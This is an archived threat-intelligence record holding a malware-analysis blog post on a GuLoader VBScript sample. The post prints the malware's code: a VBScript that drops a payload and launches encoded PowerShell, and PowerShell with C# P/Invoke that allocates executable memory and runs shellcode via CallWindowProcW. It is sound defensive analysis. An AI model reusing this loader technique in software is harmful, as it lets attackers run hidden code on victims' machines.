{
	"id": "a9c57cad-c7c3-4c28-8fac-2e8a90792c7f",
	"created_at": "2026-04-06T00:18:43.46764Z",
	"updated_at": "2026-04-10T03:30:33.565412Z",
	"deleted_at": null,
	"sha1_hash": "2204116f9c99fe8d9c5021ae2bd7f44786d949fb",
	"title": "GuLoader Executing Shellcode Using Callback Functions",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 160124,
	"plain_text": "GuLoader Executing Shellcode Using Callback Functions\r\nPublished: 2022-01-27 · Archived: 2026-04-05 20:31:29 UTC\r\nI personally despise trying to analyze shellcode, but shellcode is becoming more common in malware of all types. From\r\nMetasploit and Cobalt Strike to GuLoader, loads of malicious tools include shellcode as injectable payloads to make\r\ndetection harder. In today’s post I want to look at one of the most recent iterations of GuLoader and how it deploys its\r\nshellcode. If you want to play along at home, the sample I’m analyzing is in MalwareBazaar here:\r\nhttps://bazaar.abuse.ch/sample/dcc73a1351b6b79d48f7b42a96edfb142ffe46f896e1ab9f412a615b1edd7c9b/\r\nTriaging the First Stage\r\nFor the first stage, MalwareBazaar says its a VBScript file, so we’ve already got a decent hypothesis on the file type. We can\r\ngo ahead and confirm with file and xxd . Sure enough, it looks like we’re dealing with a text file, and the first few bytes\r\nof the text file looks like they might be a VBScript comment prepended with a ' character.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\nremnux@remnux:~/cases/guloader$ file remittence.vbs\r\nremittence.vbs: ASCII text, with CRLF line terminators\r\nremnux@remnux:~/cases/guloader$ xxd remittence.vbs | head\r\n00000000: 2767 656e 6b61 6c64 656c 7320 556e 6d65 'genkaldels Unme\r\n00000010: 7769 6e67 6239 204e 6575 726f 6e64 6536 wingb9 Neuronde6\r\n00000020: 204b 726f 7033 2042 6172 6265 7269 206d Krop3 Barberi m\r\n00000030: 6973 7265 2066 7269 6d20 554e 4143 2048 isre frim UNAC H\r\n00000040: 594c 4550 4920 4d41 4c54 4e49 4e20 4752 YLEPI MALTNIN GR\r\n00000050: 4144 2048 4f4c 4f53 5920 4272 7569 6e73 AD HOLOSY Bruins\r\n00000060: 6875 2064 656d 756c 2049 4e47 4956 4545 hu demul INGIVEE\r\n00000070: 5520 504f 5354 4e41 5445 4e20 5649 4e44 U POSTNATEN VIND\r\n00000080: 454e 5355 4e44 204b 7572 6461 6974 3320 ENSUND Kurdait3\r\n00000090: 5448 4f4d 534f 4e41 4e54 2053 7562 7275 THOMSONANT Subru\r\nLooking at the details from exiftool , the size of the file stands out. Weighing in at 80 KiB, the script likely contains some\r\nbinary/EXE content embedded inside. 673 lines of code, it’s a pretty decently-sized script. So let’s dive in!\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\nremnux@remnux:~/cases/guloader$ exiftool remittence.vbs\r\nExifTool Version Number : 12.30\r\nFile Name : remittence.vbs\r\nDirectory : .\r\nFile Size : 80 KiB\r\nFile Modification Date/Time : 2022:01:25 01:07:38-05:00\r\nFile Access Date/Time : 2022:01:24 21:43:55-05:00\r\nFile Inode Change Date/Time : 2022:01:24 20:11:16-05:00\r\nFile Permissions : -rw-r--r--\r\nFile Type : TXT\r\nFile Type Extension : txt\r\nMIME Type : text/plain\r\nMIME Encoding : us-ascii\r\nNewlines : Windows CRLF\r\nLine Count : 673\r\nWord Count : 3409\r\nExamining the VBScript Code\r\nImmediately on the first few lines of the script we can see several lines of VBScript comments. Usually comments are for\r\ncode documentation (heh, right?) but in this case the adversary decided to put in some garbage code. This sort of thing is\r\nusually intended to stump static detection rules, lower AV detection rates, and slow down malware analysis. After a quick\r\nglance at the comment lines, there’s nothing that really tells me that we need to keep them, so we can just ignore or delete\r\nthem.\r\nhttps://forensicitguy.github.io/guloader-executing-shellcode-callbacks/\r\nPage 1 of 6\n\n1\r\n2\r\n3\r\n4\r\n'genkaldels Unmewingb9 Neuronde6 Krop3 Barberi misre frim UNAC HYLEPI MALTNIN GRAD HOLOSY Bruinshu demul INGIVEEU POSTNATEN V\r\n'Bebrejd Blevins DRABS EDDA Uberrt2 TILLIGGEND Nedisni1 Unrefulg Tsum AGRA Renderne\r\n'Darvon FORLDREKN Vasalsta faaspointe Numselea9 Speedw TVANGL Ejert stymieds Writ6 liquefy Censedspe4 MEANDR BOWLINGEN basset\r\n'INDTRDELSE HJEMM Fortjenst Nsvi sirdar FORMAL Progra2 airworth Axometrybl6 Stan6 OBLIGATI Ineffi Unsa Conven Bisulfate AKUPU\r\nNext up in the code we have a simple sleep timer right after some variables get defined. The script sleeps for 2000\r\nmilliseconds before moving on to the next stage.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\nDim sired, objExec, strLine\r\nDim MyFile,teststr\r\nF = timer\r\nWscript.Sleep 2000\r\nG = timer\r\nIf G \u003e F then\r\nDown in the next section the adversary decides to set the sired and CCA variables multiple times in a row. No idea why\r\nthey do it like this, maybe they also hit the save button in MS Office multiple times for safety. The sired variable contains\r\na Wscript shell object and CCA contains a file system object for file writing.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\nset sired = CreateObject(\"Wscript.Shell\")\r\nSet CCA = CreateObject(\"S\"+\"cripting.FileSystemObject\")\r\nset sired = CreateObject(\"Wscript.Shell\")\r\nSet CCA = CreateObject(\"S\"+\"cripting.FileSystemObject\")\r\nset sired = CreateObject(\"Wscript.Shell\")\r\nSet CCA = CreateObject(\"S\"+\"cripting.FileSystemObject\")\r\nAnd now we get into the good meat of the script. The Fotografe6 variable is built over multiple lines and contains what\r\nloks like a hex string. I don’t see a traditional MZ header represented as 4D5A in hex, but it could be further obfuscated\r\nsomehow. We’ll just have to watch and see how the script uses it.\r\n1\r\n2\r\nFotografe6 = Fotografe6 \u0026 \"81ED000300006 ... EF9F10408E\"\r\nFotografe6 = Fotografe6 \u0026 \"4166620BE8491 ... 62D3219DF4\"\r\nThe clabbering variable, just like the previous one, is built over multiple lines. In this case it appears to be base64 code\r\nbecause once we feed some of the chunks into CyberChef with the “From Base64” it decodes into valid text.\r\n1\r\n2\r\n3\r\n4\r\nclabbering = clabbering \u0026 \"IwBBAEkAUgBFA ... AGEAbgB0AG\"\r\nclabbering = clabbering \u0026 \"kAdAB5AHIAbwAg ... bABrAG8AI\"\r\nclabbering = clabbering \u0026 \"ABuAG8AbgBtAGE ... AbwBpAHMA\"\r\nclabbering = clabbering \u0026 \"IABVAG4AdgBlAG ... MASABVAFQ\"\r\nNow that we have an idea of the materials being manipulated in the script, let’s see how the script uses them. The next chunk\r\nof code looks like it’s building a PowerShell command. At this point I’m thinking the base64 chunk of text in clabbering\r\nabove will likely be fed into PowerShell for execution. Fotografe6 looks like it gets fed into a baggrun() and lugsai()\r\nfunction. Since shellPath contains a file path and the string ISO-8859-1 refers to encoding, my hypothesis is that\r\nlugsai() writes the contents of Fotografe6 to disk. Let’s go confirm that.\r\nhttps://forensicitguy.github.io/guloader-executing-shellcode-callbacks/\r\nPage 2 of 6\n\n1\r\n2\r\n3\r\n4\r\n5\r\nTMP1 = \"%\"+\"TEMP%\"\r\nMyFile = sired.ExpandEnvironmentStrings(\"%windir%\") \u0026 \"\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\"\r\nFotografe6 = baggrun(Fotografe6)\r\nshellPath = sired.ExpandEnvironmentStrings(TMP1) \u0026 \"\\Champag6.dat\"\r\nlugsai shellPath,Fotografe6,\"ISO-8859-1\"\r\nThe lugsai() function looks like it works with an ADODB.Stream object, picks a character set, opens a file, and writes\r\ntext to disk. So far it looks like our hypothesis was correct.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\nFunction lugsai(NONN, UNDEGRAD, Lathesme1)\r\n Dim BinaryStream\r\n ADO = \"ADODB.Stream\"\r\n Set BinaryStream = CreateObject(ADO)\r\n BinaryStream.Type = 2\r\n BinaryStream.CharSet = Lathesme1\r\n BinaryStream.Open\r\n BinaryStream.WriteText UNDEGRAD\r\n BinaryStream.SaveToFile NONN, 2\r\nEnd Function\r\nThe baggrun() function looks like it works with the hex string in Fotografe6 . The function walks through the hex string\r\nand checks for “ZZZ” values. If it doesn’t find them it just outputs the hex string.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\nFunction baggrun(h)\r\nFor i = 1 To len(h) step 2\r\nif ChrW(\"\u0026H\" \u0026 mid(h,i,2)) = \"ZZZ\" then Wscript.Sleep(1)\r\nbaggrun = baggrun + ChrW(\"\u0026H\" \u0026 mid(h,i,2))\r\nNext\r\nEnd Function\r\nAnd now the script starts making some movement outside of itself. The -EncodedCommand string here indicates we’re likely\r\ngoing to see a PowerShell command with a base64 chunk of code. Sure enough, the base64 code in clabbering eventually\r\ngets used for the PowerShell command. So let’s\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\nSet obj1 = CreateObject(\"Shell.Application\")\r\nmax1=clabbering\r\nRAVNEAGT = \" -EncodedCommand \" \u0026 chr(34) \u0026 max1 \u0026 chr(34)\r\nIf CCA.FileExists(MyFile) = True then\r\n obj1.ShellExecute MyFile , RAVNEAGT ,\"\",\"\",0\r\nelse\r\n obj1.ShellExecute \"powershell.exe\", RAVNEAGT ,\"\",\"\",0\r\nend if\r\nPowerShell Executing Shellcode with .NET\r\nAfter decoding the base64 in clabbering with CyberChef we can see some PowerShell code that gets executed. Just like\r\nthe VBScript, the first line or two just contains a useless comment. Looking through the rest of the code there are also a few\r\ncomments mingled among the useful stuff. For a bit more brevity I’ve gone ahead and removed comments from the code I\r\nshow here. To slow down analysis some more, the adversary also threw in a bunch of Test-Path commands. None of them\r\nseemed to serve any function, so I removed them from the code here.\r\nhttps://forensicitguy.github.io/guloader-executing-shellcode-callbacks/\r\nPage 3 of 6\n\nThe first big chunk of PowerShell is an Add-Type cmdlet followed by some C# code. Add-Type allows you to import a\r\n.NET class DLL into memory to work with in PowerShell. When combined with the -TypeDefinition , you can provide\r\nsome raw C# code that gets compiled into bytecode at runtime and loaded into PowerShell. In this case, the adversary\r\ndefines a .NET class named Ofayve1 that contains Platform Invoke (P/Invoke) code that allows the adversary to call native\r\nWin32 functions from .NET code.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\nAdd-Type -TypeDefinition @\"\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\npublic static class Ofayve1\r\n{\r\n[DllImport(\"ntdll.dll\")]public static extern int NtAllocateVirtualMemory(int Ofayve6,ref Int32 Swat9,int Rasko8,ref Int32 Of\r\n[DllImport(\"kernel32.dll\")]public static extern IntPtr CreateFileA(string BUTTERMA,uint Contra6,int undvrpieti,int Ofayve0,i\r\n[DllImport(\"kernel32.dll\")]public static extern int ReadFile(int Rasko80,uint Rasko81,IntPtr Rasko82,ref Int32 Rasko83,int R\r\n[DllImport(\"user32.dll\")]public static extern IntPtr CallWindowProcW(IntPtr Rasko85,int Rasko86,int Rasko87,int Rasko88,int\r\n}\r\n\"@\r\nFrom here in, the adversary references that class/type to call Windows API functions. The first three are pretty self-explanatory and I’ll put links to their documentation here:\r\nNtAllocateVirtualMemory\r\nCreateFileA\r\nReadFile\r\nWhen combined together, these functions read the contents of Champag6.dat and mapped them into memory at $Ofayve3 .\r\nThese contents included the hex string seen earlier, and my working hypothesis is that the file is some form of shellcode.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n$Ofayve3=0;\r\n$Ofayve9=1048576;\r\n$Ofayve8=[Ofayve1]::NtAllocateVirtualMemory(-1,[ref]$Ofayve3,0,[ref]$Ofayve9,12288,64)\r\n$Ofayve2=\"$env:temp\" + \"\\Champag6.dat\"\r\n$Ofayve4=[Ofayve1]::CreateFileA($Ofayve2,2147483648,1,0,3,128,0)\r\n$Ofayve5=0;\r\n[Ofayve1]::ReadFile($Ofayve4,$Ofayve3,26042,[ref]$Ofayve5,0)\r\n[Ofayve1]::CallWindowProcW($Ofayve3, 0,0,0,0)\r\nThe final part of the script calls CallWindowProcW , which was unusual for me to see. I decided to get a little wild and do a\r\nGoogle search for “CallWindowProc shellcode” and ended up running across an interesting article on using function\r\ncallbacks to run shellcode. Reading down the article, I could see some code that looks very similar to our sample:\r\n1 CallWindowProc((WNDPROC)(char *)shellcode, (HWND)0, 0, 0, 0);\r\nSure enough, the GuLoader code above seems to match that callback article.\r\nBut is it GuLoader?\r\nHonestly this is hard for me to tell. I largely trust the GuLoader tag in MalwareBazaar but it’s always good to have extra\r\nproof. When I open up the suspected shellcode in Ghidra there is some definite XOR activity going on.\r\nhttps://forensicitguy.github.io/guloader-executing-shellcode-callbacks/\r\nPage 4 of 6\n\nAnd when I use this little chunk of Python code, I can reverse that XOR:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\ndef str_xor(data, key):\r\n for i in range(len(data)):\r\n data[i] ^= key[i % len(key)]\r\n return data\r\nkey = bytearray(b'0x6a8a4f58')\r\ndata = bytearray(open('encoded_shellcode.bin', 'rb').read())\r\ndecoded = str_xor(data, key)\r\nopen(\"decoded_shellcode.bin\", \"wb\").write(decoded)\r\nCredit to https://reverseengineering.stackexchange.com/questions/11033/how-to-decrypt-data-in-binary-file-by-xor-operator-using-a-given-key-at-specific\r\nThe resulting shellcode gets some hits from capa as containing anti-VM and sandbox evasion measures.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\nremnux@remnux:~/cases/guloader$ capa -f sc32 dec_shellcode.bin\r\n+------------------------------------------------------+------------------------------------+\r\n| md5 | 565eb36ab19132a4b963cc840febd24c |\r\n| sha1 | 78dd372f6ed9962d0a0e3841675ab374235d2f94 |\r\n| sha256 | 82ec24bbf698d635f3e7bfbda89971518f010c8efde79fcd43a2805a0945850f |\r\n| path | dec_shellcode.bin |\r\n+------------------------------------------------------+------------------------------------+\r\n+------------------------------------------------------+------------------------------------+\r\n| ATT\u0026CK Tactic | ATT\u0026CK Technique |\r\n+------------------------------------------------------+------------------------------------+\r\n| DEFENSE EVASION | Virtualization/Sandbox Evasion::System Checks T1497.001 |\r\n+------------------------------------------------------+------------------------------------+\r\n+------------------------------------------------------+------------------------------------+\r\n| MBC Objective | MBC Behavior |\r\n+------------------------------------------------------+------------------------------------+\r\n| ANTI-BEHAVIORAL ANALYSIS | Virtual Machine Detection::Instruction Testing [B0009.029] |\r\n+------------------------------------------------------+------------------------------------+\r\n+------------------------------------------------------+------------------------------------+\r\n| CAPABILITY | NAMESPACE |\r\n+------------------------------------------------------+------------------------------------+\r\n| execute anti-VM instructions | anti-analysis/anti-vm/vm-detection |\r\n+------------------------------------------------------+------------------------------------+\r\nhttps://forensicitguy.github.io/guloader-executing-shellcode-callbacks/\r\nPage 5 of 6\n\nThis is where I stopped my particular analysis. GuLoader is rather famous for anti-VM, anti-sandbox, anti-whatever, so I\r\nfeel pretty satisfied with our progress so far. Given the shellcode capabilities and the face that GuLoader usually involves\r\nshellcode like this, I’m good with calling it GuLoader.\r\nThanks for reading!\r\nSource: https://forensicitguy.github.io/guloader-executing-shellcode-callbacks/\r\nhttps://forensicitguy.github.io/guloader-executing-shellcode-callbacks/\r\nPage 6 of 6",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://forensicitguy.github.io/guloader-executing-shellcode-callbacks/"
	],
	"report_names": [
		"guloader-executing-shellcode-callbacks"
	],
	"threat_actors": [
		{
			"id": "610a7295-3139-4f34-8cec-b3da40add480",
			"created_at": "2023-01-06T13:46:38.608142Z",
			"updated_at": "2026-04-10T02:00:03.03764Z",
			"deleted_at": null,
			"main_name": "Cobalt",
			"aliases": [
				"Cobalt Group",
				"Cobalt Gang",
				"GOLD KINGSWOOD",
				"COBALT SPIDER",
				"G0080",
				"Mule Libra"
			],
			"source_name": "MISPGALAXY:Cobalt",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434723,
	"ts_updated_at": 1775791833,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/2204116f9c99fe8d9c5021ae2bd7f44786d949fb.pdf",
		"text": "https://archive.orkl.eu/2204116f9c99fe8d9c5021ae2bd7f44786d949fb.txt",
		"img": "https://archive.orkl.eu/2204116f9c99fe8d9c5021ae2bd7f44786d949fb.jpg"
	}
}